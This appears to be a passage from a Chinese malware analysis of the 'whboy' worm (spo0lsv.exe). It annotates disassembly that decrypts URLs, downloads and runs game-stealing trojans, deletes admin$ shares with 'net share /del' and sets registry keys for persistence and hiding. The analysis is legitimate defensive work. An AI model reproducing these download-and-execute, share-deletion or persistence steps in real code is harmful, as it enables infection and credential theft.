0040D040 E8 EFFBFFFF call GameSetu.0040CC34
0040D045 C3 retn
0040CC34 51 push ecx
0040CC35 54 push esp
0040CC36 6A 00 push 0
0040CC38 6A 00 push 0
0040CC3A 68 B0C94000 push GameSetu.0040C9B0 ; 执行主体
0040CC3F 6A 00 push 0
0040CC41 6A 00 push 0
0040CC43 E8 B47EFFFF call GameSetu.00404AFC ; jmp to KERNEL32.CreateThread
0040CC48 5A pop edx
0040CC49 C3 retn
0040C9E2 B8 FCCB4000 mov eax,GameSetu.0040CBFC ; 加密过的字符串
0040C9E7 E8 00FBFFFF call GameSetu.0040C4EC ; 解密
堆栈 ss:[0012FFB0]=00CC0068, (ASCII "hxxp://www.ac86.cn/66/up.txt")
0040C9FF BA 24CC4000 mov edx,GameSetu.0040CC24 ; ASCII "QQ"
0040CABA E8 25FAFFFF call GameSetu.0040C4E4 ; jmp to URLMON.URLDownloadToFileA
0040CAFC E8 D380FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
下载下来后发现都是游戏的木马:
hxxp://www.koshadu.com/down/mh.exe
hxxp://www.koshadu.com/down/rx.exe // 热血
hxxp://www.koshadu.com/down/my.exe // 魔域
hxxp://www.koshadu.com/down/dh.exe
hxxp://www.koshadu.com/down/cs.exe // CS
hxxp://www.koshadu.com/down/zt.exe // 征途
2.10.2 Timer=30min
0040D104 68 28C74000 push GameSetu.0040C728 ; 执行主体
0040D109 68 40771B00 push 1B7740 ; 时间
0040D10E 6A 00 push 0
0040D110 6A 00 push 0
0040D112 E8 2D7BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
0040C75A B8 74C94000 mov eax,GameSetu.0040C974 ; 加密过的字符串
0040C75F E8 88FDFFFF call GameSetu.0040C4EC ; 解密
堆栈 ss:[0012FFB0]=00CC0094, (ASCII "hxxp://update.whboy.net/worm.txt")
0040C777 BA A0C94000 mov edx,GameSetu.0040C9A0 ; ASCII "QQ"
0040C832 E8 ADFCFFFF call GameSetu.0040C4E4 ; jmp to URLMON.URLDownloadToFileA
0040C874 E8 5B83FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
这个txt没能下载下来.
2.11 关闭中毒机器默认共享:
据loveboom分析只是为了避免病毒重复工作.
关闭:cmd.exe /c net share 驱动器名$ /del /y
0040CE07 E8 98A7FFFF call GameSetu.004075A4
004075E8 E8 5FD5FFFF call GameSetu.00404B4C ; jmp to KERNEL32.GetDriveTypeA
0040CE1D 68 94CE4000 push GameSetu.0040CE94 ; ASCII "cmd.exe /c net share "
0040CE34 68 B4CE4000 push GameSetu.0040CEB4 ; ASCII "$ /del /y"
0040CE4E 50 push eax
0040CE4F E8 807DFFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
关闭:cmd.exe /c net share admin$ /del /y
0040CE5B 68 C0CE4000 push GameSetu.0040CEC0 ; ASCII "cmd.exe /c net share admin$ /del /y"
0040CE60 E8 6F7DFFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
2.12 修改注册表隐藏病毒
将以1秒钟为周期不断设置如下键值:
HKEY_CURRENT_USER
"Software\Microsoft\Windows\CurrentVersion\Run"
svcshare=%病毒文件路径%
HKEY_LOCAL_MACHINE
"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
CheckedValue=0
设置时间:
0040D096 68 E4CE4000 push GameSetu.0040CEE4 ; 要执行的目标
0040D09B 68 E8030000 push 3E8 ; 1000ms
0040D0A0 6A 00 push 0
0040D0A2 6A 00 push 0
0040D0A4 E8 9B7BFFFF call <jmp.&user32.SetTimer>
执行目标:
0040CF09 68 7CCF4000 push GameSetu.0040CF7C ; ASCII "drivers\"
0040CF0E 68 90CF4000 push GameSetu.0040CF90 ; ASCII "spo0lsv.exe"
0040CF13 8D45 FC lea eax,dword ptr ss:[ebp-4]
0040CF16 BA 03000000 mov edx,3
0040CF1B E8 6C70FFFF call GameSetu.00403F8C
0040CF20 8B45 FC mov eax,dword ptr ss:[ebp-4]
0040CF23 E8 A471FFFF call GameSetu.004040CC
0040CF28 50 push eax
0040CF29 B9 9CCF4000 mov ecx,GameSetu.0040CF9C ; ASCII "svcshare"
0040CF2E BA A8CF4000 mov edx,GameSetu.0040CFA8 ; ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040CF33 B8 01000080 mov eax,80000001
0040CF38 E8 7F82FFFF call GameSetu.004051BC
0040CF3D 33C9 xor ecx,ecx
0040CF3F BA E0CF4000 mov edx,GameSetu.0040CFE0 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
0040CF44 B8 02000080 mov eax,80000002
0040CF49 E8 A28AFFFF call GameSetu.004059F0
3.按代码流程分析:
整体流程:
先比较2个字符串,不同就退出:
0040D5D6 BA 90D84000 mov edx,GameSetu.0040D890 ; ASCII "xboy"
0040D600 BA CCD84000 mov edx,GameSetu.0040D8CC ; ASCII "whboy"
然后拷贝病毒,感染文件并反杀毒及下载其他病毒:
0040D627 E8 70ABFFFF call GameSetu.0040819C ; 模块1-拷贝病毒
0040D62C E8 5BFBFFFF call GameSetu.0040D18C ; 模块2-感染文件
0040D631 E8 52FAFFFF call GameSetu.0040D088 ; 模块3-清除反病毒并下载其他病毒
3.1 模块1-拷贝病毒:
0040D627 E8 70ABFFFF call GameSetu.0040819C ; 模块1-拷贝病毒
是否存在Desktop_.ini,存在就设置为normal然后删除:
004081E1 BA 98874000 mov edx,GameSetu.00408798 ; ASCII "Desktop_.ini"
...
0040823D E8 72C9FFFF call GameSetu.00404BB4 ; jmp to KERNEL32.SetFileAttributesA
...
00408283 E8 7CC8FFFF call GameSetu.00404B04 ; jmp to KERNEL32.DeleteFileA
判断是否感染过:
004082DF 8B45 FC mov eax,dword ptr ss:[ebp-4]
004082E2 807C18 FF 00 cmp byte ptr ds:[eax+ebx-1],0 ; 文件尾是否为0?
004082E7 ^ 75 CE jnz short GameSetu.004082B7 ; 判断感染前还是感染后
004082E9 837D F8 00 cmp dword ptr ss:[ebp-8],0 ; 感染标志
004082ED 0F85 6B010000 jnz GameSetu.0040845E
如果未感染,那么拷贝病毒.参看2.5.
3.2 模块2-感染文件:
0040D62C E8 5BFBFFFF call GameSetu.0040D18C ; 模块2-感染文件
0040D18C E8 1FD4FFFF call GameSetu.0040A5B0 ; 创建线程感染文件,参看2.6&2.7
0040D191 E8 DEF1FFFF call GameSetu.0040C374 ; 写Autorun.inf,参看2.9
0040D196 66:B8 0A00 mov ax,0A
0040D19A E8 2DE9FFFF call GameSetu.0040BACC ; 感染网络,参看2.8
0040D19F C3 retn
3.3 模块3-清除反病毒并下载其他病毒
0040D631 E8 52FAFFFF call GameSetu.0040D088 ; 模块3-清除反病毒并下载其他病毒
设置病毒自启动并修改隐藏标志,参看2.12;
中止相应字符串的窗口,关闭进程,参看2.1,2.2;
下载其他病毒,参看2.10;
关闭共享,参看2.11;
清除杀毒软件相关服务,参看2.3.
4.其他:
4.1解密得到n多网址:???????????
0040D0F1 68 4CCC4000 push GameSetu.0040CC4C ; 执行地址
0040D0F6 68 10270000 push 2710 ; 时间
0040D0FB 6A 00 push 0
0040D0FD 6A 00 push 0
0040D0FF E8 407BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
0040CC6C B8 28CD4000 mov eax,GameSetu.0040CD28
0040CC71 E8 76F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012FC8C]=00CC00C4, (ASCII "http://www.tom.com")
0040CC89 B8 44CD4000 mov eax,GameSetu.0040CD44
0040CC8E E8 59F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012FC84]=00CC00E4, (ASCII "http://www.163.com")
0040CCA6 B8 60CD4000 mov eax,GameSetu.0040CD60
0040CCAB E8 3CF8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012ECBC]=00CC0274, (ASCII "http://www.sohu.com")
0040CCC3 B8 7CCD4000 mov eax,GameSetu.0040CD7C
0040CCC8 E8 1FF8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012F800]=00CC03A8, (ASCII "http://www.yahoo.com")
0040CCE0 B8 9CCD4000 mov eax,GameSetu.0040CD9C
0040CCE5 E8 02F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012F800]=00CC03CC, (ASCII "http://www.google.com")
不会用来DDos攻击吧?
0
相关文章